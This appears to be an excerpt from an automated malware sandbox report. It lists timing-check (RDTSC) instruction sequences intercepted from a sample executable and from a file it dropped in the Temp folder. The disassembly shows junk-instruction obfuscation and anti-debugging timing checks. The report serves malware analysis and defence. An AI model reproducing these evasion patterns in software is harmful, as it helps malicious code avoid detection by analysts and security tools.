Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE1027 second address: BE1039 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007F10A8DE1CD6h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F10A8DE1CD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE39CA second address: BE39D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F10A8C33EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE39D4 second address: BE39D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE3A79 second address: BE3A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE3CBD second address: BE3CD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE3CD3 second address: BE3CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE3CD7 second address: BE3CE1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F10A8DE1CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE5A42 second address: BE5A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8C33F08h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE5A5E second address: BE5A6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: BE5A6C second address: BE5A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5250356 second address: 525036B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 525036B second address: 5250390 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F10A8C33EFDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5250390 second address: 52503C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c jmp 00007F10A8DE1CE5h 0x00000011 mov edx, dword ptr [ebp+0Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F10A8DE1CDDh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52503C3 second address: 52503E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52503E1 second address: 52503E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52503E5 second address: 52503EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52503EB second address: 52503F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270989 second address: 527098F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 527098F second address: 5270993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270993 second address: 5270997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270997 second address: 52709A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52709A7 second address: 52709AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52709AB second address: 52709B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52709B1 second address: 5270A04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b mov edx, esi 0x0000000d pushfd 0x0000000e jmp 00007F10A8C33EFAh 0x00000013 jmp 00007F10A8C33F05h 0x00000018 popfd 0x00000019 popad 0x0000001a leave 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F10A8C33F08h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270A04 second address: 5270A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270A08 second address: 5270A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270A0E second address: 52601CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F10A8DE1CDCh 0x00000009 sub cx, BC48h 0x0000000e jmp 00007F10A8DE1CDBh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F10A8DE1CE8h 0x0000001a jmp 00007F10A8DE1CE5h 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 retn 0004h 0x00000026 nop 0x00000027 cmp eax, 00000000h 0x0000002a setne al 0x0000002d jmp 00007F10A8DE1CD2h 0x0000002f xor ebx, ebx 0x00000031 test al, 01h 0x00000033 jne 00007F10A8DE1CD7h 0x00000035 sub esp, 04h 0x00000038 mov dword ptr [esp], 0000000Dh 0x0000003f call 00007F10AD71F476h 0x00000044 mov edi, edi 0x00000046 jmp 00007F10A8DE1CDBh 0x0000004b xchg eax, ebp 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f call 00007F10A8DE1CE2h 0x00000054 pop ecx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260315 second address: 5260330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260330 second address: 5260363 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F10A8DE1CDEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260363 second address: 526037F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 526037F second address: 52603CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F10A8DE1CE1h 0x00000009 sbb ax, 5E66h 0x0000000e jmp 00007F10A8DE1CE1h 0x00000013 popfd 0x00000014 mov di, ax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b pushad 0x0000001c call 00007F10A8DE1CE8h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52603CD second address: 526040C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushfd 0x00000007 jmp 00007F10A8C33F07h 0x0000000c sub cx, EEFEh 0x00000011 jmp 00007F10A8C33F09h 0x00000016 popfd 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260442 second address: 52604AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a jmp 00007F10A8DE1CE6h 0x0000000f test al, al 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F10A8DE1CDEh 0x00000018 add esi, 398BF9E8h 0x0000001e jmp 00007F10A8DE1CDBh 0x00000023 popfd 0x00000024 mov eax, 1F2B5DDFh 0x00000029 popad 0x0000002a je 00007F10A8DE1F05h 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F10A8DE1CE1h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52604AB second address: 52604BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33EFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260548 second address: 526054C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 526054C second address: 5260550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260550 second address: 5260556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260556 second address: 5260566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33EFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260566 second address: 526056A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 526056A second address: 5260590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F10A8C33EFCh 0x0000000e mov dword ptr [esp], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F10A8C33EFAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260590 second address: 526059F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 526059F second address: 52605B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33F04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52605EC second address: 52605F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52605F2 second address: 5260601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33EFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260601 second address: 5260640 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F111979FB42h 0x00000011 jmp 00007F10A8DE1CDEh 0x00000016 js 00007F10A8DE1D63h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260640 second address: 5260644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260644 second address: 526064A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 526064A second address: 5260659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33EFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260659 second address: 526065D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 526065D second address: 5260671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov di, cx 0x00000011 mov edi, ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260671 second address: 5260692 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 36h 0x00000005 mov edx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F111979FAF6h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F10A8DE1CDFh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260692 second address: 526073A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 pushfd 0x00000007 jmp 00007F10A8C33EFBh 0x0000000c xor esi, 36DF9A5Eh 0x00000012 jmp 00007F10A8C33F09h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebx, dword ptr [ebp+08h] 0x0000001e jmp 00007F10A8C33EFEh 0x00000023 lea eax, dword ptr [ebp-2Ch] 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F10A8C33EFEh 0x0000002d adc cx, BD88h 0x00000032 jmp 00007F10A8C33EFBh 0x00000037 popfd 0x00000038 mov ch, 11h 0x0000003a popad 0x0000003b push esi 0x0000003c jmp 00007F10A8C33F00h 0x00000041 mov dword ptr [esp], esi 0x00000044 jmp 00007F10A8C33F00h 0x00000049 nop 0x0000004a jmp 00007F10A8C33F00h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 526073A second address: 526074A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F10A8DE1CDAh 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52607BE second address: 52607C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52607C4 second address: 52607CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52607CA second address: 52607CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 52607CE second address: 526080E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007F10A8DE1CDDh 0x00000015 pop esi 0x00000016 call 00007F10A8DE1CE1h 0x0000001b pop eax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 526080E second address: 526081F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33EFDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 526081F second address: 5260057 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F111979FB04h 0x0000000e xor eax, eax 0x00000010 jmp 00007F10A8DBB40Ah 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d xor ebx, ebx 0x0000001f cmp eax, 00000000h 0x00000022 je 00007F10A8DE1E33h 0x00000028 call 00007F10AD71F15Dh 0x0000002d mov edi, edi 0x0000002f jmp 00007F10A8DE1CE8h 0x00000034 xchg eax, ebp 0x00000035 pushad 0x00000036 mov al, 1Bh 0x00000038 call 00007F10A8DE1CE3h 0x0000003d jmp 00007F10A8DE1CE8h 0x00000042 pop ecx 0x00000043 popad 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a mov ebx, 0F322DFEh 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260057 second address: 5260066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33EFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260BB1 second address: 5260BF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov edx, 7DEF811Eh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F10A8DE1CE0h 0x00000015 pushad 0x00000016 mov ecx, 719752E7h 0x0000001b mov bx, cx 0x0000001e popad 0x0000001f popad 0x00000020 mov dword ptr [esp], ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F10A8DE1CE0h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260BF3 second address: 5260C02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260C02 second address: 5260C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260C08 second address: 5260C46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F10A8C33F06h 0x00000012 cmp dword ptr [75C7459Ch], 05h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F10A8C33EFAh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260C46 second address: 5260C55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260C55 second address: 5260CAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F10A8C33F05h 0x0000000b adc si, AE26h 0x00000010 jmp 00007F10A8C33F01h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007F11195E1C6Bh 0x0000001f jmp 00007F10A8C33EFEh 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F10A8C33EFAh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260CAD second address: 5260CB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260CB3 second address: 5260CBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 1D82A9D3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260D52 second address: 5260D58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5260D92 second address: 5260D98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270AC3 second address: 5270AD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270AD2 second address: 5270AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8C33F04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270AEA second address: 5270B06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movzx esi, bx 0x00000012 movsx edx, ax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270B06 second address: 5270BC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F10A8C33EFEh 0x0000000f mov ebp, esp 0x00000011 jmp 00007F10A8C33F00h 0x00000016 xchg eax, esi 0x00000017 jmp 00007F10A8C33F00h 0x0000001c push eax 0x0000001d jmp 00007F10A8C33EFBh 0x00000022 xchg eax, esi 0x00000023 pushad 0x00000024 call 00007F10A8C33F04h 0x00000029 mov esi, 5357A4C1h 0x0000002e pop esi 0x0000002f mov edx, 584420F2h 0x00000034 popad 0x00000035 mov esi, dword ptr [ebp+0Ch] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007F10A8C33F02h 0x00000041 adc cx, 4408h 0x00000046 jmp 00007F10A8C33EFBh 0x0000004b popfd 0x0000004c call 00007F10A8C33F08h 0x00000051 pop eax 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270BC7 second address: 5270BCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270BCD second address: 5270C15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F10A8C33EFEh 0x00000014 sub ax, 38C8h 0x00000019 jmp 00007F10A8C33EFBh 0x0000001e popfd 0x0000001f mov ax, 7E3Fh 0x00000023 popad 0x00000024 je 00007F11195D16A8h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov ax, bx 0x00000030 mov cx, di 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: 5270D67 second address: 5270D6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C660A4 second address: C660A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C660A8 second address: C660C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F10A8DE1CE2h 0x00000010 rdtsc
